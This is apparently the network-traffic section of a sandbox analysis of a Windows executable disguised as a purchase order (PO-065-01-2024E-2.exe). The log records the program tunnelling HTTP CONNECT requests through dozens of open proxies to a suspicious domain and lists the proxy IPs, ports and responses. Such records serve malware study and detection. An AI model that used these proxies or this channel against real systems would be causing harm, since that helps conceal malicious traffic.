Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.10	50698	91.134.140.160	27207	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.633388042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.10	50435	124.198.74.90	26976	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.641570091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.441926956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.708036900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.290896893 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.10	50789	104.27.26.29	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.641947031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.796206951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.10	50631	147.75.92.251	9401	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.642370939 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:44.923986912 CET	65	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Zscaler/6.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.10	50669	72.10.160.170	31571	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.644546032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.10	50793	172.67.181.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.645898104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.800456047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.10	49762	138.36.150.16	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.647160053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.10	50542	31.43.158.108	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.648813963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.10	50799	104.27.37.131	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.659543037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.814022064 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.10	50613	58.234.116.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.661082983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.10	50484	35.154.71.72	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.662996054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.756844044 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.10	50593	27.0.234.206	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.663091898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
219	192.168.2.10	50615	43.131.245.216	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.666810036 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
220	192.168.2.10	50540	43.255.113.232	85	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.669032097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.410675049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.489165068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676774979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989684105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489197016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
221	192.168.2.10	50505	171.235.166.222	4019	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.671348095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.305802107 CET	228	IN	HTTP/1.0 502 Bad Gateway Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 32 3e 3c 68 33 3e 48 6f 73 74 20 4e 6f 74 20 46 6f 75 6e 64 20 6f 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 66 61 69 6c 65 64 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h2>502 Bad Gateway</h2><h3>Host Not Found or connection failed</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
222	192.168.2.10	50459	43.231.22.229	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.677292109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.121560097 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
223	192.168.2.10	50674	174.64.199.79	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.678240061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
224	192.168.2.10	50607	51.161.131.84	63055	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.684420109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
225	192.168.2.10	50730	190.153.121.2	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.710752010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
226	192.168.2.10	50576	212.108.145.195	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.710756063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
227	192.168.2.10	50377	220.194.189.144	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.710805893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.176676035 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 16:02:48 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.10	50602	41.77.188.131	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.711988926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.457564116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.676600933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.989285946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.481929064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.989068031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.473675966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.285931110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:28.582520962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.10	50833	104.16.241.204	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.712003946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.866686106 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.10	50642	45.11.95.165	6012	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
